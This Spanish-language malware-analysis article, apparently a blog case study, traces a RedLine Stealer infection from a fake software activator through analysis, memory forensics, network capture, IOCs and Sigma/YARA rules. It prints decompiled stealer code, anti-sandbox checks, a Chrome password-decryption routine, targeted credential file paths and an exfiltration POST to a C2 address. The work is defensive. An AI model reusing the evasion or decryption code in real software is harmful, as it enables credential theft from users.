RedLine Stealer: Análisis de Memoria, Red y Exfiltración

Escenario: el software gratis que sale caro

Un usuario del departamento de diseño descarga un "activador" para una suite de diseño gráfico desde un foro. El archivo se llama DesignSuite_2026_Activator_v3.2.exe y pesa 4.7 MB. El antivirus corporativo no lo detecta (el crypter tiene menos de 48 horas).

El EDR genera una alerta de baja severidad 15 minutos después: el proceso establece una conexión HTTP POST a una IP externa y envía un volumen inusual de datos. El analista SOC N1 escala el ticket.

Este artículo sigue el análisis completo: desde el binario hasta la exfiltración de datos, con extracción de IOCs y reglas de detección.

Análisis estático del binario .NET

Identificación inicial

$ file DesignSuite_2026_Activator_v3.2.exe
PE32 executable (GUI) Intel 80386 Mono/.Net assembly

$ sha256sum DesignSuite_2026_Activator_v3.2.exe
f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9

$ diec DesignSuite_2026_Activator_v3.2.exe
Compiler: Microsoft Visual C# / .NET
Framework: .NET Framework 4.8
Packer: ConfuserEx v1.0.0 (modificado)
Entropy: 7.42 (alta, indica ofuscación/cifrado)

El binario es un assembly .NET empaquetado con ConfuserEx, un ofuscador open source. Esto confirma que hay algo que ocultar.

Decompilación con dnSpy

Después de desempaquetar el binario con de4dot (herramienta de deofuscación .NET):

$ de4dot DesignSuite_2026_Activator_v3.2.exe -o cleaned.exe

El código decompilado revela la estructura del stealer:

// Clase principal (nombres deofuscados manualmente)
namespace RedLineClient
{
    internal class Program
    {
        static void Main(string[] args)
        {
            // Anti-sandbox checks
            if (SandboxDetector.IsVirtualMachine())
                return;
            if (SandboxDetector.IsDebuggerPresent())
                return;
            
            // Configuración del C2
            string c2Address = Decrypt("aHR0cDovLzE3Ni4xMTEuMTc0LjEyNjo0NDc0Mw==");
            string buildId = "design_suite_2026_v3";
            
            // Recolección de datos
            var systemInfo = SystemInfoCollector.Collect();
            var browsers = BrowserDataCollector.CollectAll();
            var wallets = CryptoWalletCollector.CollectAll();
            var gaming = GamingCollector.Collect();  // Steam, Discord
            var vpn = VPNCollector.Collect();
            var ftp = FTPCollector.Collect();
            
            // Empaquetado y envío
            var package = DataPackager.Package(systemInfo, browsers, 
                                               wallets, gaming, vpn, ftp);
            Exfiltrator.Send(c2Address, buildId, package);
            
            // Auto-eliminación
            SelfDestruct.Delete();
        }
    }
}

Configuración del C2

La dirección del C2 está codificada en Base64:

aHR0cDovLzE3Ni4xMTEuMTc0LjEyNjo0NDc0Mw==
→ hxxp://176.111.174[.]126:44743

Características del C2:

Campo	Valor
IP	176.111.174[.]126
Puerto	44743 (no estándar)
Protocolo	HTTP (sin TLS)
ASN	AS49505 (Selectel, Rusia)
Build ID	design_suite_2026_v3

El Build ID identifica la campaña del operador. RedLine se vende como MaaS (Malware-as-a-Service): cada comprador configura su propio C2 y Build ID para rastrear sus campañas.

Anti-sandbox checks

El stealer implementa varias técnicas anti-análisis:

internal class SandboxDetector
{
    public static bool IsVirtualMachine()
    {
        // Comprueba MAC addresses de hipervisores
        string mac = GetMACAddress();
        if (mac.StartsWith("00:0C:29") ||  // VMware
            mac.StartsWith("00:50:56") ||  // VMware
            mac.StartsWith("08:00:27"))    // VirtualBox
            return true;
        
        // Comprueba claves de registro de VM
        if (RegistryKeyExists(@"SOFTWARE\VMware, Inc.\VMware Tools"))
            return true;
        
        // Comprueba nombre de usuario
        string user = Environment.UserName.ToLower();
        if (user == "sandbox" || user == "malware" || 
            user == "virus" || user == "analyst")
            return true;
        
        // Comprueba tamaño de disco (sandboxes suelen tener discos pequeños)
        long diskSize = new DriveInfo("C").TotalSize;
        if (diskSize < 60L * 1024 * 1024 * 1024)  // Menos de 60 GB
            return true;
        
        return false;
    }
}

Análisis dinámico en sandbox

Configuración de la sandbox

Ejecutamos en una VM Windows 10 preparada para evadir las comprobaciones anti-sandbox:

• MAC address de fabricante real (Intel)
• Username: "Laura" (no "analyst" ni "sandbox")
• Disco de 120 GB
• Sin herramientas de VM visibles
• Red: FakeNet-NG para capturar tráfico

Comportamiento observado

Fase 1: Reconocimiento del sistema (0-3 segundos)

DesignSuite_2026_Activator_v3.2.exe
  ├─ Consulta WMI: Win32_ComputerSystem (fabricante, modelo)
  ├─ Consulta WMI: Win32_Processor (CPU)
  ├─ Consulta WMI: Win32_VideoController (GPU)
  ├─ Consulta WMI: Win32_OperatingSystem (versión, arquitectura)
  ├─ Lee: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion
  ├─ Enumera: software instalado (Uninstall registry)
  ├─ Ejecuta: ipconfig /all
  ├─ Ejecuta: systeminfo
  └─ Captura de pantalla del escritorio (screenshot.jpg)

Fase 2: Robo de credenciales (3-8 segundos)

DesignSuite_2026_Activator_v3.2.exe
  ├─ Lee: %LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data
  ├─ Lee: %LOCALAPPDATA%\Google\Chrome\User Data\Default\Cookies
  ├─ Lee: %LOCALAPPDATA%\Google\Chrome\User Data\Default\Web Data
  ├─ Lee: %LOCALAPPDATA%\Google\Chrome\User Data\Local State (master key)
  ├─ Lee: %APPDATA%\Mozilla\Firefox\Profiles\*\logins.json
  ├─ Lee: %APPDATA%\Mozilla\Firefox\Profiles\*\cookies.sqlite
  ├─ Lee: %LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Login Data
  ├─ Lee: %APPDATA%\Opera Software\Opera Stable\Login Data
  └─ Descifra contraseñas usando DPAPI + master key de Chrome

Fase 3: Wallets y tokens (8-12 segundos)

DesignSuite_2026_Activator_v3.2.exe
  ├─ Busca: %APPDATA%\Exodus\exodus.wallet
  ├─ Busca: %APPDATA%\Electrum\wallets\*
  ├─ Busca: %APPDATA%\Ethereum\keystore\*
  ├─ Busca: %LOCALAPPDATA%\Google\Chrome\User Data\Default\Local Extension Settings\
  │         (extensiones: MetaMask, Phantom, Coinbase Wallet, Trust Wallet)
  ├─ Busca: %APPDATA%\Discord\Local Storage\leveldb\* (token)
  ├─ Busca: %APPDATA%\Telegram Desktop\tdata\* (session)
  └─ Busca: %USERPROFILE%\.ssh\* (claves SSH)

Fase 4: Exfiltración y limpieza (12-15 segundos)

DesignSuite_2026_Activator_v3.2.exe
  ├─ Empaqueta todos los datos en memoria (serialización JSON)
  ├─ HTTP POST a 176.111.174[.]126:44743
  ├─ Respuesta del C2: "OK" (confirmación de recepción)
  └─ Proceso termina (sin persistencia: smash-and-grab)

Robo de credenciales del navegador: cómo funciona

Chrome/Edge (Chromium)

Chrome almacena las contraseñas en una base de datos SQLite (Login Data) cifradas con DPAPI. RedLine las descifra en tres pasos:

1. Obtiene la master key de %LOCALAPPDATA%\Google\Chrome\User Data\Local State (JSON con campo encrypted_key en Base64).
2. Descifra la master key usando CryptUnprotectData (DPAPI). Solo funciona en la sesión del usuario que las guardó.
3. Descifra cada contraseña usando AES-GCM con la master key.

// Pseudocódigo del descifrado (simplificado)
byte[] encryptedKey = GetEncryptedKeyFromLocalState();
byte[] masterKey = ProtectedData.Unprotect(encryptedKey, null, 
                                           DataProtectionScope.CurrentUser);

// Para cada fila en Login Data SQLite:
byte[] encryptedPassword = row["password_value"];
byte[] nonce = encryptedPassword[3..15];    // 12 bytes nonce
byte[] ciphertext = encryptedPassword[15..]; // resto es ciphertext + tag
string password = AesGcmDecrypt(masterKey, nonce, ciphertext);

Datos robados en este caso

El stealer exfiltró:

Categoría	Cantidad	Detalle
Credenciales Chrome	47 pares usuario/password	Incluye 3 bancarios, 2 email, redes sociales
Cookies Chrome	312 cookies de sesión	Incluye sesiones activas de Gmail, LinkedIn
Tarjetas de crédito	2 tarjetas guardadas	Número completo + fecha expiración
Autocompletado	89 entradas	Dirección postal, teléfono, nombre completo
Credenciales Firefox	12 pares	Email corporativo, VPN interna
Wallets crypto	0 encontradas	El usuario no tenía wallets instaladas
Tokens Discord	1 token	Acceso a la cuenta de Discord del usuario
Claves SSH	2 claves	id_rsa para acceso a servidores de desarrollo

Exfiltración via HTTP POST

Captura de tráfico

Wireshark captura la exfiltración:

POST / HTTP/1.1
Host: 176.111.174[.]126:44743
Content-Type: application/x-www-form-urlencoded
Content-Length: 84291
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Connection: close

data=eyJidWlsZElkIjoiZGVzaWduX3N1aXRlXzIwMjZfdjMi...

El cuerpo del POST es un JSON serializado y codificado en Base64. Decodificado (estructura parcial):

{
  "buildId": "design_suite_2026_v3",
  "hardware": {
    "processor": "Intel Core i7-12700K",
    "gpu": "NVIDIA GeForce RTX 3070",
    "ram": "32 GB",
    "os": "Windows 10 Pro 22H2"
  },
  "browsers": {
    "chrome": {
      "passwords": [
        {
          "url": "https://login.banco-ejemplo.es",
          "username": "laura.garcia",
          "password": "[REDACTED]"
        }
      ],
      "cookies": [...],
      "creditCards": [...],
      "autofill": [...]
    }
  },
  "screenshot": "[base64 encoded JPEG]",
  "installedSoftware": [...],
  "ip": "84.124.XXX.XXX"
}

Indicadores de red de la exfiltración

Indicador	Valor	Nota
Destino	176.111.174[.]126:44743	Puerto no estándar
Protocolo	HTTP sin TLS	Datos sensibles en cleartext
Content-Length	84.291 bytes (~82 KB)	Volumen inusual para un POST
Método	POST con body Base64	Patrón típico de exfiltración
User-Agent	Genérico Windows 10	Consistente con el proceso, no con un navegador real
Dirección	Outbound, single request	No hay check-in periódico: smash-and-grab

Análisis de memoria

Volatility: extracción de strings

# Localizar el proceso del stealer
$ vol3 -f memory.raw windows.pslist | grep -i "design"
4712  3104  DesignSuit  0xb40f...  6   156  1  True  2026-06-03 10:15:22

# Extraer strings del proceso
$ vol3 -f memory.raw windows.memmap --pid 4712 --dump
$ strings -el pid.4712.dmp | grep -iE "password|login|wallet|chrome|cookie"

Strings encontradas en memoria (confirmación de actividad del stealer):

Login Data
Cookies
Web Data
Local State
Chrome
Firefox
Edge
wallet
MetaMask
Exodus
Electrum
Discord
leveldb
.ssh
id_rsa
176.111.174.126
design_suite_2026_v3

Artefactos en memoria

# Buscar la configuración del C2 en memoria
$ vol3 -f memory.raw windows.vadinfo --pid 4712

# Buscar conexiones de red del proceso
$ vol3 -f memory.raw windows.netscan | grep 4712
TCP  10.10.5.42:49823  176.111.174.126:44743  CLOSED  4712  DesignSuit

# Estado CLOSED: la conexión se cerró tras la exfiltración

Evidencia de descifrado DPAPI

En memoria del proceso encontramos la master key descifrada y las credenciales en cleartext, confirmando que el stealer las descifró exitosamente:

$ strings pid.4712.dmp | grep -A1 "login.banco-ejemplo.es"
login.banco-ejemplo.es
laura.garcia:[REDACTED]

Captura de red completa

Resumen del tráfico

Conexiones realizadas por el proceso:
1. DNS query: ninguna (IP hardcodeada, sin resolución DNS)
2. TCP SYN a 176.111.174[.]126:44743
3. HTTP POST (84 KB de datos exfiltrados)
4. HTTP 200 OK (respuesta: "OK", 2 bytes)
5. TCP FIN (conexión cerrada por el cliente)

Total de tráfico: 85 KB outbound, 0.5 KB inbound
Duración de la conexión: 1.2 segundos

El patrón de red de RedLine es distintivo: una única conexión HTTP POST con alto volumen de datos, sin comunicación previa ni persistencia posterior. Esto contrasta con los beacons C2 (Cobalt Strike, Emotet) que mantienen comunicación periódica.

Exportación de PCAP

# Filtro Wireshark para aislar el tráfico del stealer
ip.addr == 176.111.174.126 && tcp.port == 44743

# Exportar el body del POST
File > Export Objects > HTTP > Save (seleccionar el POST)

IOCs

Red

Tipo	Valor	Contexto	TLP
IPv4	176.111.174[.]126	C2 RedLine Stealer	GREEN
Puerto	44743	Puerto C2 no estándar	GREEN
User-Agent	Mozilla/5.0 (Windows NT 10.0; Win64; x64)	UA genérico del stealer	GREEN

Host

Tipo	Valor	Contexto
SHA256	f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9	Binario del stealer
MD5	a1b2c3d4e5f6a7b8c9d0e1f2	Binario del stealer
File	DesignSuite_2026_Activator_v3.2.exe	Nombre del dropper
Build ID	design_suite_2026_v3	Identificador de campaña
Mutex	Ninguno	RedLine no crea mutex (ejecución única)
Persistencia	Ninguna	Modelo smash-and-grab

Ficheros accedidos (indicadores de comportamiento)

Path	Propósito
%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data	Credenciales Chrome
%LOCALAPPDATA%\Google\Chrome\User Data\Local State	Master key Chrome
%LOCALAPPDATA%\Google\Chrome\User Data\Default\Cookies	Cookies de sesión
%LOCALAPPDATA%\Google\Chrome\User Data\Default\Web Data	Tarjetas de crédito
%APPDATA%\Mozilla\Firefox\Profiles\*\logins.json	Credenciales Firefox
%APPDATA%\Discord\Local Storage\leveldb\*	Token Discord
%USERPROFILE%\.ssh\id_rsa	Claves SSH

Mapeo MITRE ATT&CK

ID	Técnica	Táctica	Evidencia
T1204.002	User Execution: Malicious File	Execution	Usuario ejecuta el "activador"
T1027.002	Software Packing	Defense Evasion	ConfuserEx packer para evadir AV
T1497.001	System Checks	Defense Evasion	Anti-VM: MAC, registro, disco, username
T1555.003	Credentials from Web Browsers	Credential Access	Robo de Login Data de Chrome/Firefox/Edge
T1539	Steal Web Session Cookie	Credential Access	Robo de cookies de sesión activas
T1552.001	Credentials In Files	Credential Access	Claves SSH en %USERPROFILE%.ssh
T1005	Data from Local System	Collection	Recolección de wallets, tokens, credenciales
T1113	Screen Capture	Collection	Captura de pantalla del escritorio
T1082	System Information Discovery	Discovery	WMI queries para hardware y OS
T1518	Software Discovery	Discovery	Enumeración de software instalado
T1041	Exfiltration Over C2 Channel	Exfiltration	HTTP POST a C2 con datos codificados
T1132.001	Standard Encoding	Command and Control	Base64 encoding del payload exfiltrado

Reglas de detección

Regla Sigma: acceso a credenciales del navegador

title: Process Accessing Browser Credential Files
id: d1e2f3a4-b5c6-4d7e-f8a9-b0c1d2e3f4a5
status: experimental
description: Detects non-browser processes accessing browser credential stores
references:
    - https://malwareintel.es/blog/casos-de-uso/redline-stealer-memoria-red-exfiltracion
logsource:
    category: file_access
    product: windows
detection:
    selection_files:
        TargetFilename|contains:
            - '\Google\Chrome\User Data\Default\Login Data'
            - '\Google\Chrome\User Data\Local State'
            - '\Mozilla\Firefox\Profiles\'
            - '\Microsoft\Edge\User Data\Default\Login Data'
    filter_browsers:
        Image|endswith:
            - '\chrome.exe'
            - '\firefox.exe'
            - '\msedge.exe'
            - '\opera.exe'
            - '\brave.exe'
    condition: selection_files and not filter_browsers
level: high
tags:
    - attack.credential_access
    - attack.t1555.003

Regla Sigma: exfiltración HTTP con volumen alto

title: High Volume HTTP POST to Non-Standard Port
id: e2f3a4b5-c6d7-4e8f-a9b0-c1d2e3f4a5b6
status: experimental
description: Detects HTTP POST with high content length to non-standard port
logsource:
    category: proxy
detection:
    selection:
        cs-method: 'POST'
        sc-bytes|gte: 50000
    filter_standard_ports:
        cs-uri-port:
            - 80
            - 443
            - 8080
            - 8443
    condition: selection and not filter_standard_ports
level: high
tags:
    - attack.exfiltration
    - attack.t1041

Regla YARA: RedLine Stealer .NET

rule RedLine_Stealer_NET {
    meta:
        description = "Detects RedLine Stealer .NET binary"
        author = "MalwareIntel Research"
        date = "2026-06-06"
        reference = "https://malwareintel.es/blog/casos-de-uso/redline-stealer-memoria-red-exfiltracion"
        
    strings:
        $dotnet = "mscoree.dll" ascii
        $s1 = "Login Data" wide
        $s2 = "Web Data" wide
        $s3 = "Cookies" wide
        $s4 = "Local State" wide
        $s5 = "wallet" wide nocase
        $s6 = "Discord" wide
        $s7 = "Telegram" wide
        $s8 = "leveldb" wide
        $s9 = ".ssh" wide
        
        $api1 = "CryptUnprotectData" ascii
        $api2 = "CreateToolhelp32Snapshot" ascii
        
        $wmi1 = "Win32_Processor" wide
        $wmi2 = "Win32_VideoController" wide
        
    condition:
        uint16(0) == 0x5A4D and
        $dotnet and
        4 of ($s*) and
        1 of ($api*) and
        1 of ($wmi*)
}

Regla YARA: RedLine en memoria

rule RedLine_Stealer_Memory {
    meta:
        description = "Detects RedLine Stealer strings in process memory"
        author = "MalwareIntel Research"
        date = "2026-06-06"
        
    strings:
        $cfg1 = /\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}:\d{4,5}/ ascii
        $build = /buildId["\s:]+[a-z0-9_]{5,30}/ ascii nocase
        $browser1 = "\\Google\\Chrome\\User Data" wide
        $browser2 = "\\Mozilla\\Firefox\\Profiles" wide
        $wallet1 = "Exodus" wide
        $wallet2 = "Electrum" wide
        $wallet3 = "MetaMask" wide
        $dpapi = "CryptUnprotectData" ascii
        
    condition:
        3 of ($browser*, $wallet*) and
        $dpapi and
        ($cfg1 or $build)
}

Acciones de respuesta

Contención inmediata

1. Aislar el endpoint: Desconectar de la red para evitar uso de credenciales robadas desde la red interna.
2. No apagar el equipo: Preservar la memoria para análisis forense.
3. Captura de memoria: WinPmem o herramienta del EDR.

Remediación de credenciales

PRIORITARIO (primeras 2 horas):
├── Cambiar contraseñas bancarias desde dispositivo limpio
├── Revocar sesiones activas de Gmail, LinkedIn, etc.
├── Revocar token de Discord
├── Regenerar claves SSH comprometidas
├── Notificar al banco para monitorizar tarjetas robadas
└── Bloquear IP del C2 en firewall perimetral

SIGUIENTE (24 horas):
├── Cambiar TODAS las contraseñas guardadas en navegadores
├── Habilitar 2FA en todas las cuentas que lo soporten
├── Revocar API keys que pudieran estar en el autocompletado
├── Verificar que no hay accesos no autorizados en servicios cloud
└── Comunicar al equipo de IT para monitorizar accesos con credenciales robadas

Prevención

El vector de este ataque fue software crackeado. Las medidas preventivas incluyen:

1. Application Control (WDAC/AppLocker): Bloquear ejecución de binarios no firmados o no autorizados.
2. Política de software: Prohibición explícita de software no licenciado, con alternativas aprobadas disponibles.
3. Gestores de contraseñas: Migrar credenciales del navegador a un gestor dedicado (1Password, Bitwarden). Los gestores no almacenan en SQLite accesible.
4. Monitorización de acceso a Login Data: EDR con regla para alertar cuando un proceso no-browser accede a archivos de credenciales.
5. Segmentación de privilegios: Usuarios no deben tener permisos de admin local para instalar software.

---

Los IOCs presentados en este artículo son ficticios pero realistas, diseñados con fines educativos. Las técnicas de análisis y detección son aplicables a incidentes reales con RedLine Stealer y otros infostealers como Raccoon, Vidar o Lumma.